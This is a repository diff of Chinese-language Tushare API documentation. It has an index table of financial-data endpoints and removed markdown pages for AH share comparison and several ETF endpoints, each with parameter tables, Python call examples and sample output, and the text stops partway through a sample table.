| 5 | Shibor报价数据 | 150 | [接口文档/Shibor报价数据.md](接口文档/Shibor报价数据.md) |
| 6 | 国内生产总值(GDP) | 227 | [接口文档/国内生产总值(GDP).md](接口文档/国内生产总值(GDP).md) |
| 7 | 广州民间借贷利率 | 174 | [接口文档/广州民间借贷利率.md](接口文档/广州民间借贷利率.md) |
| 8 | 温州民间借贷利率 | 173 | [接口文档/温州民间借贷利率.md](接口文档/温州民间借贷利率.md) |
| 9 | 社融增量(月度) | 310 | [接口文档/社融增量(月度).md](接口文档/社融增量(月度).md) |
| 10 | 货币供应量(月) | 242 | [接口文档/货币供应量(月).md](接口文档/货币供应量(月).md) |
## 指数专题
**数量**: 18 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 东财概念和行业指数行情 | 382 | [接口文档/东财概念和行业指数行情.md](接口文档/东财概念和行业指数行情.md) |
| 2 | 中信行业成分 | 373 | [接口文档/中信行业成分.md](接口文档/中信行业成分.md) |
| 3 | 中信行业指数日行情 | 308 | [接口文档/中信行业指数日行情.md](接口文档/中信行业指数日行情.md) |
| 4 | 南华期货指数行情 | 155 | [接口文档/南华期货指数行情.md](接口文档/南华期货指数行情.md) |
| 5 | 同花顺概念和行业指数行情 | 260 | [接口文档/同花顺概念和行业指数行情.md](接口文档/同花顺概念和行业指数行情.md) |
| 6 | 国际主要指数 | 211 | [接口文档/国际主要指数.md](接口文档/国际主要指数.md) |
| 7 | 大盘指数每日指标 | 128 | [接口文档/大盘指数每日指标.md](接口文档/大盘指数每日指标.md) |
| 8 | 指数周线行情 | 171 | [接口文档/指数周线行情.md](接口文档/指数周线行情.md) |
| 9 | 指数基本信息 | 94 | [接口文档/指数基本信息.md](接口文档/指数基本信息.md) |
| 10 | 指数实时日线 | 403 | [接口文档/指数实时日线.md](接口文档/指数实时日线.md) |
| 11 | 指数成分和权重 | 96 | [接口文档/指数成分和权重.md](接口文档/指数成分和权重.md) |
| 12 | 指数技术面因子(专业版) | 358 | [接口文档/指数技术面因子(专业版).md](接口文档/指数技术面因子(专业版).md) |
| 13 | 指数日线行情 | 95 | [接口文档/指数日线行情.md](接口文档/指数日线行情.md) |
| 14 | 指数月线行情 | 172 | [接口文档/指数月线行情.md](接口文档/指数月线行情.md) |
| 15 | 申万行业分类 | 181 | [接口文档/申万行业分类.md](接口文档/申万行业分类.md) |
| 16 | 申万行业成分(分级) | 335 | [接口文档/申万行业成分(分级).md](接口文档/申万行业成分(分级).md) |
| 17 | 申万行业指数日行情 | 327 | [接口文档/申万行业指数日行情.md](接口文档/申万行业指数日行情.md) |
| 18 | 采购经理指数(PMI) | 325 | [接口文档/采购经理指数(PMI).md](接口文档/采购经理指数(PMI).md) |
## 期权数据
**数量**: 3 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 期权分钟行情 | 341 | [接口文档/期权分钟行情.md](接口文档/期权分钟行情.md) |
| 2 | 期权合约信息 | 158 | [接口文档/期权合约信息.md](接口文档/期权合约信息.md) |
| 3 | 期权日线行情 | 159 | [接口文档/期权日线行情.md](接口文档/期权日线行情.md) |
## 期货数据
**数量**: 6 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 仓单日报 | 140 | [接口文档/仓单日报.md](接口文档/仓单日报.md) |
| 2 | 期货主力与连续合约 | 189 | [接口文档/期货主力与连续合约.md](接口文档/期货主力与连续合约.md) |
| 3 | 期货主要品种交易周报 | 216 | [接口文档/期货主要品种交易周报.md](接口文档/期货主要品种交易周报.md) |
| 4 | 期货合约涨跌停价格 | 368 | [接口文档/期货合约涨跌停价格.md](接口文档/期货合约涨跌停价格.md) |
| 5 | 期货周/月线行情(每日更新) | 337 | [接口文档/期货周_月线行情(每日更新).md](接口文档/期货周_月线行情(每日更新).md) |
| 6 | 每日持仓排名 | 139 | [接口文档/每日持仓排名.md](接口文档/每日持仓排名.md) |
## 港股数据
**数量**: 14 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 港股交易日历 | 250 | [接口文档/港股交易日历.md](接口文档/港股交易日历.md) |
| 2 | 港股分钟行情 | 304 | [接口文档/港股分钟行情.md](接口文档/港股分钟行情.md) |
| 3 | 港股利润表 | 389 | [接口文档/港股利润表.md](接口文档/港股利润表.md) |
| 4 | 港股基础信息 | 191 | [接口文档/港股基础信息.md](接口文档/港股基础信息.md) |
| 5 | 港股复权因子 | 401 | [接口文档/港股复权因子.md](接口文档/港股复权因子.md) |
| 6 | 港股复权行情 | 339 | [接口文档/港股复权行情.md](接口文档/港股复权行情.md) |
| 7 | 港股实时日线 | 383 | [接口文档/港股实时日线.md](接口文档/港股实时日线.md) |
| 8 | 港股日线行情 | 192 | [接口文档/港股日线行情.md](接口文档/港股日线行情.md) |
| 9 | 港股现金流量表 | 391 | [接口文档/港股现金流量表.md](接口文档/港股现金流量表.md) |
| 10 | 港股财务指标数据 | 388 | [接口文档/港股财务指标数据.md](接口文档/港股财务指标数据.md) |
| 11 | 港股资产负债表 | 390 | [接口文档/港股资产负债表.md](接口文档/港股资产负债表.md) |
| 12 | 港股通十大成交股 | 49 | [接口文档/港股通十大成交股.md](接口文档/港股通十大成交股.md) |
| 13 | 港股通每日成交统计 | 196 | [接口文档/港股通每日成交统计.md](接口文档/港股通每日成交统计.md) |
| 14 | 港股通每月成交统计 | 197 | [接口文档/港股通每月成交统计.md](接口文档/港股通每月成交统计.md) |
## 现货数据
**数量**: 2 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 上海黄金基础信息 | 284 | [接口文档/上海黄金基础信息.md](接口文档/上海黄金基础信息.md) |
| 2 | 上海黄金现货日行情 | 285 | [接口文档/上海黄金现货日行情.md](接口文档/上海黄金现货日行情.md) |
## 美股数据
**数量**: 9 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 美股交易日历 | 253 | [接口文档/美股交易日历.md](接口文档/美股交易日历.md) |
| 2 | 美股利润表 | 394 | [接口文档/美股利润表.md](接口文档/美股利润表.md) |
| 3 | 美股基础信息 | 252 | [接口文档/美股基础信息.md](接口文档/美股基础信息.md) |
| 4 | 美股复权因子 | 402 | [接口文档/美股复权因子.md](接口文档/美股复权因子.md) |
| 5 | 美股复权行情 | 338 | [接口文档/美股复权行情.md](接口文档/美股复权行情.md) |
| 6 | 美股日线行情 | 254 | [接口文档/美股日线行情.md](接口文档/美股日线行情.md) |
| 7 | 美股现金流量表 | 396 | [接口文档/美股现金流量表.md](接口文档/美股现金流量表.md) |
| 8 | 美股财务指标数据 | 393 | [接口文档/美股财务指标数据.md](接口文档/美股财务指标数据.md) |
| 9 | 美股资产负债表 | 395 | [接口文档/美股资产负债表.md](接口文档/美股资产负债表.md) |
## 股票数据
**数量**: 39 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | AH股比价 | 399 | [接口文档/AH股比价.md](接口文档/AH股比价.md) |
| 2 | IPO新股上市 | 123 | [接口文档/IPO新股上市.md](接口文档/IPO新股上市.md) |
| 3 | ST股票列表 | 397 | [接口文档/ST股票列表.md](接口文档/ST股票列表.md) |
| 4 | 债券回购日行情 | 256 | [接口文档/债券回购日行情.md](接口文档/债券回购日行情.md) |
| 5 | 券商月度金股 | 267 | [接口文档/券商月度金股.md](接口文档/券商月度金股.md) |
| 6 | 前十大流通股东 | 62 | [接口文档/前十大流通股东.md](接口文档/前十大流通股东.md) |
| 7 | 前十大股东 | 61 | [接口文档/前十大股东.md](接口文档/前十大股东.md) |
| 8 | 大宗交易 | 161 | [接口文档/大宗交易.md](接口文档/大宗交易.md) |
| 9 | 大宗交易 | 271 | [接口文档/大宗交易.md](接口文档/大宗交易.md) |
| 10 | 大宗交易明细 | 272 | [接口文档/大宗交易明细.md](接口文档/大宗交易明细.md) |
| 11 | 机构调研数据 | 275 | [接口文档/机构调研数据.md](接口文档/机构调研数据.md) |
| 12 | 每日筹码分布 | 294 | [接口文档/每日筹码分布.md](接口文档/每日筹码分布.md) |
| 13 | 每日筹码及胜率 | 293 | [接口文档/每日筹码及胜率.md](接口文档/每日筹码及胜率.md) |
| 14 | 沪深港通股票列表 | 398 | [接口文档/沪深港通股票列表.md](接口文档/沪深港通股票列表.md) |
| 15 | 涨停股票连板天梯 | 356 | [接口文档/涨停股票连板天梯.md](接口文档/涨停股票连板天梯.md) |
| 16 | 神奇九转指标 | 364 | [接口文档/神奇九转指标.md](接口文档/神奇九转指标.md) |
| 17 | 股东人数 | 166 | [接口文档/股东人数.md](接口文档/股东人数.md) |
| 18 | 股东增减持 | 175 | [接口文档/股东增减持.md](接口文档/股东增减持.md) |
| 19 | 股权质押明细数据 | 111 | [接口文档/股权质押明细数据.md](接口文档/股权质押明细数据.md) |
| 20 | 股权质押统计数据 | 110 | [接口文档/股权质押统计数据.md](接口文档/股权质押统计数据.md) |
| 21 | 股票列表 | 25 | [接口文档/股票列表.md](接口文档/股票列表.md) |
| 22 | 股票历史列表 | 262 | [接口文档/股票历史列表.md](接口文档/股票历史列表.md) |
| 23 | 股票回购 | 124 | [接口文档/股票回购.md](接口文档/股票回购.md) |
| 24 | 股票开户数据(停) | 164 | [接口文档/股票开户数据(停).md](接口文档/股票开户数据(停).md) |
| 25 | 股票开户数据(旧) | 165 | [接口文档/股票开户数据(旧).md](接口文档/股票开户数据(旧).md) |
| 26 | 股票开盘集合竞价数据 | 353 | [接口文档/股票开盘集合竞价数据.md](接口文档/股票开盘集合竞价数据.md) |
| 27 | 股票技术面因子 | 296 | [接口文档/股票技术面因子.md](接口文档/股票技术面因子.md) |
| 28 | 股票技术面因子(专业版) | 328 | [接口文档/股票技术面因子(专业版).md](接口文档/股票技术面因子(专业版).md) |
| 29 | 股票收盘集合竞价数据 | 354 | [接口文档/股票收盘集合竞价数据.md](接口文档/股票收盘集合竞价数据.md) |
| 30 | 股票曾用名 | 100 | [接口文档/股票曾用名.md](接口文档/股票曾用名.md) |
| 31 | 融资融券交易明细 | 59 | [接口文档/融资融券交易明细.md](接口文档/融资融券交易明细.md) |
| 32 | 融资融券交易汇总 | 58 | [接口文档/融资融券交易汇总.md](接口文档/融资融券交易汇总.md) |
| 33 | 融资融券标的(盘前) | 326 | [接口文档/融资融券标的(盘前).md](接口文档/融资融券标的(盘前).md) |
| 34 | 转融券交易明细(停) | 333 | [接口文档/转融券交易明细(停).md](接口文档/转融券交易明细(停).md) |
| 35 | 转融券交易汇总(停) | 332 | [接口文档/转融券交易汇总(停).md](接口文档/转融券交易汇总(停).md) |
| 36 | 转融资交易汇总 | 331 | [接口文档/转融资交易汇总.md](接口文档/转融资交易汇总.md) |
| 37 | 限售股解禁 | 160 | [接口文档/限售股解禁.md](接口文档/限售股解禁.md) |
| 38 | 龙虎榜机构交易单 | 107 | [接口文档/龙虎榜机构交易单.md](接口文档/龙虎榜机构交易单.md) |
| 39 | 龙虎榜每日统计单 | 106 | [接口文档/龙虎榜每日统计单.md](接口文档/龙虎榜每日统计单.md) |
## 行业经济
**数量**: 8 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 全国电影剧本备案数据 | 156 | [接口文档/全国电影剧本备案数据.md](接口文档/全国电影剧本备案数据.md) |
| 2 | 全国电视剧备案公示数据 | 180 | [接口文档/全国电视剧备案公示数据.md](接口文档/全国电视剧备案公示数据.md) |
| 3 | 台湾电子产业月营收 | 88 | [接口文档/台湾电子产业月营收.md](接口文档/台湾电子产业月营收.md) |
| 4 | 台湾电子产业月营收明细 | 87 | [接口文档/台湾电子产业月营收明细.md](接口文档/台湾电子产业月营收明细.md) |
| 5 | 影院日度票房 | 116 | [接口文档/影院日度票房.md](接口文档/影院日度票房.md) |
| 6 | 电影周度票房 | 114 | [接口文档/电影周度票房.md](接口文档/电影周度票房.md) |
| 7 | 电影日度票房 | 115 | [接口文档/电影日度票房.md](接口文档/电影日度票房.md) |
| 8 | 电影月度票房 | 113 | [接口文档/电影月度票房.md](接口文档/电影月度票房.md) |
---
## 分类统计
| 分类 | 接口数量 |
|------|---------|
| ETF专题 | 7 |
| 债券专题 | 16 |
| 公募基金 | 11 |
| 其他 | 67 |
| 外汇数据 | 2 |
| 大模型语料 | 7 |
| 宏观经济 | 10 |
| 指数专题 | 18 |
| 期权数据 | 3 |
| 期货数据 | 6 |
| 港股数据 | 14 |
| 现货数据 | 2 |
| 美股数据 | 9 |
| 股票数据 | 39 |
| 行业经济 | 8 |
| **合计** | **220** |

File diff suppressed because it is too large Load diff

View file

@ -1,160 +0,0 @@
# AH股比价
**文档ID**: 399
**原始链接**: https://tushare.pro/document/2?doc_id=399
---
## AH股比价
接口:stk_ah_comparison,可以通过数据工具调试和查看数据。描述:AH股比价数据,可根据交易日期获取历史权限:5000积分起提示:每天盘后17:00更新,单次请求最大返回1000行数据,可循环提取,本接口数据从20250812开始,由于历史不好补充,只能累积
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>hk_code</td>
<td>str</td>
<td>N</td>
<td>港股股票代码(xxxxx.HK)</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>A股票代码(xxxxxx.SH/SZ/BJ)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(格式:YYYYMMDD下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>hk_code</td>
<td>str</td>
<td>Y</td>
<td>港股股票代码</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>A股股票代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>hk_name</td>
<td>str</td>
<td>Y</td>
<td>港股股票名称</td>
</tr>
<tr>
<td>hk_pct_chg</td>
<td>float</td>
<td>Y</td>
<td>港股股票涨跌幅</td>
</tr>
<tr>
<td>hk_close</td>
<td>float</td>
<td>Y</td>
<td>港股股票收盘价</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>A股股票名称</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>A股股票收盘价</td>
</tr>
<tr>
<td>pct_chg</td>
<td>float</td>
<td>Y</td>
<td>A股股票涨跌幅</td>
</tr>
<tr>
<td>ah_comparison</td>
<td>float</td>
<td>Y</td>
<td>比价(A/H)</td>
</tr>
<tr>
<td>ah_premium</td>
<td>float</td>
<td>Y</td>
<td>溢价(A/H)%</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
#获取20250812日所有的AH股比价数据
df = pro.stk_ah_comparison(trade_date='20250812')
```
数据样例
```
hk_code ts_code trade_date hk_name hk_pct_chg hk_close name close pct_chg ah_comparison ah_premium
0 02068.HK 601068.SH 20250812 中铝国际 0.78 2.60 中铝国际 5.14 0.00 2.16 115.84
1 03993.HK 603993.SH 20250812 洛阳钼业 0.60 10.07 洛阳钼业 9.85 0.31 1.07 6.80
2 06066.HK 601066.SH 20250812 中信建投证券 1.77 13.25 中信建投 26.09 0.66 2.15 114.99
3 06680.HK 300748.SZ 20250812 金力永磁 -5.67 18.30 金力永磁 27.30 -3.05 1.63 62.88
4 02333.HK 601633.SH 20250812 长城汽车 3.55 14.60 长城汽车 22.93 1.82 1.71 71.48
.. ... ... ... ... ... ... ... ... ... ... ...
155 06196.HK 002936.SZ 20250812 郑州银行 1.41 1.44 郑州银行 2.10 0.48 1.59 59.22
156 06818.HK 601818.SH 20250812 中国光大银行 1.61 3.78 光大银行 4.10 0.99 1.18 18.43
157 06693.HK 600988.SH 20250812 赤峰黄金 1.76 25.44 赤峰黄金 24.58 0.24 1.05 5.49
158 02196.HK 600196.SH 20250812 复星医药 2.22 19.77 复星医药 27.70 3.36 1.53 52.98
159 01065.HK 600874.SH 20250812 天津创业环保股份 2.24 4.10 创业环保 6.01 0.00 1.60 60.05
```

View file

@ -1,145 +0,0 @@
# ETF份额规模
**文档ID**: 408
**原始链接**: https://tushare.pro/document/2?doc_id=408
---
### 接口介绍
接口:etf_share_size描述:获取沪深ETF每日份额和规模数据,能体现规模份额的变化,掌握ETF资金动向,同时提供每日净值和收盘价;数据指标是分批入库,建议在每日19点后提取;另外,涉及海外的ETF数据更新会晚一些属于正常情况。限量:单次最大5000条,可根据代码或日期循环提取积分:需要8000积分可以调取,具体请参阅积分获取办法
### 输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>基金代码 (可从ETF基础信息接口提取)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所(SSE上交所 SZSE深交所)</td>
</tr>
</tbody>
</table>
### 输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>ETF代码</td>
</tr>
<tr>
<td>etf_name</td>
<td>str</td>
<td>Y</td>
<td>基金名称</td>
</tr>
<tr>
<td>total_share</td>
<td>float</td>
<td>Y</td>
<td>总份额(万份)</td>
</tr>
<tr>
<td>total_size</td>
<td>float</td>
<td>Y</td>
<td>总规模(万元)</td>
</tr>
<tr>
<td>nav</td>
<td>float</td>
<td>N</td>
<td>基金份额净值(元)</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>N</td>
<td>收盘价(元)</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>Y</td>
<td>交易所(SSE上交所 SZSE深交所 BSE北交所)</td>
</tr>
</tbody>
</table>
### 代码示例
```
#获取”沪深300ETF华夏”ETF2025年以来每个交易日的份额和规模情况
df = pro.etf_share_size(ts_code='510330.SH', start_date='20250101', end_date='20251224')
#获取2025年12月24日上交所的所有ETF份额和规模情况
df = pro.etf_share_size(trade_date='20251224', exchange='SSE')
```
### 数据结果
```
trade_date ts_code etf_name total_share total_size exchange
0 20251224 510330.SH 沪深300ETF华夏 4741854.98 2.287898e+07 SSE
1 20251222 510330.SH 沪深300ETF华夏 4746894.98 2.279127e+07 SSE
2 20251219 510330.SH 沪深300ETF华夏 4756974.98 2.262512e+07 SSE
3 20251218 510330.SH 沪深300ETF华夏 4757514.98 2.253778e+07 SSE
4 20251217 510330.SH 沪深300ETF华夏 4756884.98 2.266418e+07 SSE
.. ... ... ... ... ... ...
232 20250108 510330.SH 沪深300ETF华夏 4032384.98 1.599808e+07 SSE
233 20250107 510330.SH 沪深300ETF华夏 4009164.98 1.592962e+07 SSE
234 20250106 510330.SH 沪深300ETF华夏 3999084.98 1.577239e+07 SSE
235 20250103 510330.SH 沪深300ETF华夏 3994674.98 1.578176e+07 SSE
236 20250102 510330.SH 沪深300ETF华夏 3986754.98 1.593905e+07 SSE
```

View file

@ -1,165 +0,0 @@
# ETF分钟行情
**文档ID**: 387
**原始链接**: https://tushare.pro/document/2?doc_id=387
---
## ETF历史分钟行情
接口:stk_mins描述:获取ETF分钟数据,支持1min/5min/15min/30min/60min行情,提供Python SDK和 http Restful API两种方式限量:单次最大8000行数据,可以通过股票代码和时间循环获取,本接口可以提供超过10年ETF历史分钟数据权限:正式权限请参阅权限说明
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>ETF代码,e.g. 159001.SZ</td>
</tr>
<tr>
<td>freq</td>
<td>str</td>
<td>Y</td>
<td>分钟频度(1min/5min/15min/30min/60min)</td>
</tr>
<tr>
<td>start_date</td>
<td>datetime</td>
<td>N</td>
<td>开始日期 格式:2025-06-01 09:00:00</td>
</tr>
<tr>
<td>end_date</td>
<td>datetime</td>
<td>N</td>
<td>结束时间 格式:2025-06-20 19:00:00</td>
</tr>
</tbody></table>
freq参数说明
<table>
<thead>
<tr>
<th>freq</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>1min</td>
<td>1分钟</td>
</tr>
<tr>
<td>5min</td>
<td>5分钟</td>
</tr>
<tr>
<td>15min</td>
<td>15分钟</td>
</tr>
<tr>
<td>30min</td>
<td>30分钟</td>
</tr>
<tr>
<td>60min</td>
<td>60分钟</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>ETF代码</td>
</tr>
<tr>
<td>trade_time</td>
<td>str</td>
<td>Y</td>
<td>交易时间</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘价</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘价</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高价</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低价</td>
</tr>
<tr>
<td>vol</td>
<td>int</td>
<td>Y</td>
<td>成交量</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交金额</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
#获取沪深300ETF华夏510330.SH的历史分钟数据
df = pro.stk_mins(ts_code='510330.SH', freq='1min', start_date='2025-06-20 09:00:00', end_date='2025-06-20 19:00:00')
```
数据样例
```
ts_code trade_time close open high low vol amount
0 510330.SH 2025-06-20 15:00:00 3.991 3.991 3.992 3.990 800600.0 3194805.0
1 510330.SH 2025-06-20 14:59:00 3.991 3.990 3.991 3.989 182500.0 728177.0
2 510330.SH 2025-06-20 14:58:00 3.990 3.992 3.992 3.990 113700.0 453763.0
3 510330.SH 2025-06-20 14:57:00 3.992 3.992 3.992 3.991 17400.0 69460.0
4 510330.SH 2025-06-20 14:56:00 3.992 3.992 3.992 3.991 447500.0 1786373.0
.. ... ... ... ... ... ... ... ...
236 510330.SH 2025-06-20 09:34:00 3.994 3.994 3.995 3.994 2528100.0 10097818.0
237 510330.SH 2025-06-20 09:33:00 3.994 3.991 3.994 3.991 143300.0 572084.0
238 510330.SH 2025-06-20 09:32:00 3.992 3.990 3.993 3.990 1118500.0 4463264.0
239 510330.SH 2025-06-20 09:31:00 3.988 3.984 3.992 3.984 1176100.0 4691600.0
240 510330.SH 2025-06-20 09:30:00 3.983 3.983 3.983 3.983 20700.0 82448.0
```

View file

@ -1,126 +0,0 @@
# ETF基准指数
**文档ID**: 386
**原始链接**: https://tushare.pro/document/2?doc_id=386
---
## ETF基准指数列表
接口:etf_index描述:获取ETF基准指数列表信息限量:单次请求最大返回5000行数据(当前未超过2000个)权限:用户积累8000积分可调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>指数代码</td>
</tr>
<tr>
<td>pub_date</td>
<td>str</td>
<td>N</td>
<td>发布日期(格式:YYYYMMDD)</td>
</tr>
<tr>
<td>base_date</td>
<td>str</td>
<td>N</td>
<td>指数基期(格式:YYYYMMDD)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>指数代码</td>
</tr>
<tr>
<td>indx_name</td>
<td>str</td>
<td>Y</td>
<td>指数全称</td>
</tr>
<tr>
<td>indx_csname</td>
<td>str</td>
<td>Y</td>
<td>指数简称</td>
</tr>
<tr>
<td>pub_party_name</td>
<td>str</td>
<td>Y</td>
<td>指数发布机构</td>
</tr>
<tr>
<td>pub_date</td>
<td>str</td>
<td>Y</td>
<td>指数发布日期</td>
</tr>
<tr>
<td>base_date</td>
<td>str</td>
<td>Y</td>
<td>指数基日</td>
</tr>
<tr>
<td>bp</td>
<td>float</td>
<td>Y</td>
<td>指数基点(点)</td>
</tr>
<tr>
<td>adj_circle</td>
<td>str</td>
<td>Y</td>
<td>指数成份证券调整周期</td>
</tr>
</tbody></table>
接口示例
```
#获取当前ETF跟踪的基准指数列表
df = pro.etf_index(fields='ts_code,indx_name,pub_date,bp')
```
数据示例
```
ts_code indx_name pub_date bp
0 000068.SH 上证自然资源指数 20100528 1000.000000
1 000001.SH 上证综合指数 19910715 100.000000
2 000989.SH 中证全指可选消费指数 20110802 1000.000000
3 000990.CSI 中证全指主要消费指数 20110802 1000.000000
4 000043.SH 上证超级大盘指数 20090423 1000.000000
... ... ... ... ...
1458 932368.CSI 中证800自由现金流指数 20241211 1000.000000
1460 000680.SH 上证科创板综合指数 20250120 1000.000000
1461 000681.SH 上证科创板综合价格指数 20250120 1000.000000
```

View file

@ -1,213 +0,0 @@
# ETF基本信息
**文档ID**: 385
**原始链接**: https://tushare.pro/document/2?doc_id=385
---
## ETF基础信息
接口:etf_basic描述:获取国内ETF基础信息,包括了QDII。数据来源与沪深交易所公开披露信息。限量:单次请求最大放回5000条数据(当前ETF总数未超过2000)权限:用户积8000积分可调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>ETF代码(带.SZ/.SH后缀的6位数字,如:159526.SZ)</td>
</tr>
<tr>
<td>index_code</td>
<td>str</td>
<td>N</td>
<td>跟踪指数代码</td>
</tr>
<tr>
<td>list_date</td>
<td>str</td>
<td>N</td>
<td>上市日期(格式:YYYYMMDD)</td>
</tr>
<tr>
<td>list_status</td>
<td>str</td>
<td>N</td>
<td>上市状态(L上市 D退市 P待上市)</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所(SH上交所 SZ深交所)</td>
</tr>
<tr>
<td>mgr</td>
<td>str</td>
<td>N</td>
<td>管理人(简称,e.g.华夏基金)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>基金交易代码</td>
</tr>
<tr>
<td>csname</td>
<td>str</td>
<td>Y</td>
<td>ETF中文简称</td>
</tr>
<tr>
<td>extname</td>
<td>str</td>
<td>Y</td>
<td>ETF扩位简称(对应交易所简称)</td>
</tr>
<tr>
<td>cname</td>
<td>str</td>
<td>Y</td>
<td>基金中文全称</td>
</tr>
<tr>
<td>index_code</td>
<td>str</td>
<td>Y</td>
<td>ETF基准指数代码</td>
</tr>
<tr>
<td>index_name</td>
<td>str</td>
<td>Y</td>
<td>ETF基准指数中文全称</td>
</tr>
<tr>
<td>setup_date</td>
<td>str</td>
<td>Y</td>
<td>设立日期(格式:YYYYMMDD)</td>
</tr>
<tr>
<td>list_date</td>
<td>str</td>
<td>Y</td>
<td>上市日期(格式:YYYYMMDD)</td>
</tr>
<tr>
<td>list_status</td>
<td>str</td>
<td>Y</td>
<td>存续状态(L上市 D退市 P待上市)</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>Y</td>
<td>交易所(上交所SH 深交所SZ)</td>
</tr>
<tr>
<td>mgr_name</td>
<td>str</td>
<td>Y</td>
<td>基金管理人简称</td>
</tr>
<tr>
<td>custod_name</td>
<td>str</td>
<td>Y</td>
<td>基金托管人名称</td>
</tr>
<tr>
<td>mgt_fee</td>
<td>float</td>
<td>Y</td>
<td>基金管理人收取的费用</td>
</tr>
<tr>
<td>etf_type</td>
<td>str</td>
<td>Y</td>
<td>基金投资通道类型(境内、QDII)</td>
</tr>
</tbody></table>
接口示例
```
#获取当前所有上市的ETF列表
df = pro.etf_basic(list_status='L', fields='ts_code,extname,index_code,index_name,exchange,mgr_name')
#获取“嘉实基金”所有上市的ETF列表
df = pro.etf_basic(mgr='嘉实基金', list_status='L', fields='ts_code,extname,index_code,index_name,exchange,etf_type')
#获取“嘉实基金”在深交所上市的所有ETF列表
df = pro.etf_basic(mgr='嘉实基金', list_status='L', exchange='SZ', fields='ts_code,extname,index_code,index_name,exchange,etf_type')
#获取以沪深300指数为跟踪指数的所有上市的ETF列表
df = pro.etf_basic(index_code='000300.SH', fields='ts_code,extname,index_code,index_name,exchange,mgr_name')
```
数据示例
```
ts_code extname index_code index_name exchange mgr_name
0 159238.SZ 300ETF增强 000300.SH 沪深300指数 SZ 景顺长城基金
1 159300.SZ 300ETF 000300.SH 沪深300指数 SZ 富国基金
